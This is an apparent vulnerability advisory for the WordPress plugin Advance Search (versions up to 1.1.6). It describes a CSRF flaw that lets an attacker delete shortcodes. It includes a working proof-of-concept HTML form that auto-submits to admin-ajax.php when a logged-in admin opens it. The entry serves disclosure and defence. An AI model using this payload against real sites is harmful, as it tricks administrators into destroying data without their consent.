WordPress Plugin Vulnerabilities
Advance Search <= 1.1.6 - Shortcode Deletion via CSRF
Description
The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks
Proof of Concept
Make a logged in admin open the following HTML (replace `__FORM_ID__` with a valid ID): ``` <body onload="document.forms[0].submit()"> <form action="https://example.com/wp-admin/admin-ajax.php" method="post"> <input type="hidden" name="action" value="WPAS_Advanced_Search_extra_ajax"> <input type="hidden" name="ajax_type" value="delete_search"> <input type="hidden" name="security" value="123"> <input type="hidden" name="form_id" value="__FORM_ID__"> <input type="hidden" name="search_form_name" value=""> <input type="submit" value="Submit Request"> </body> ``` The `security` field isn't validated and the shortcode is deleted.
Affects Plugins
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
Miscellaneous
Original Researcher
Bob Matyas
Submitter
Bob Matyas
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Verified
Yes
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Timeline
Publicly Published
2024-03-25 (about 1 months ago)
Added
2024-03-25 (about 1 months ago)
Last Updated
2024-03-25 (about 1 months ago)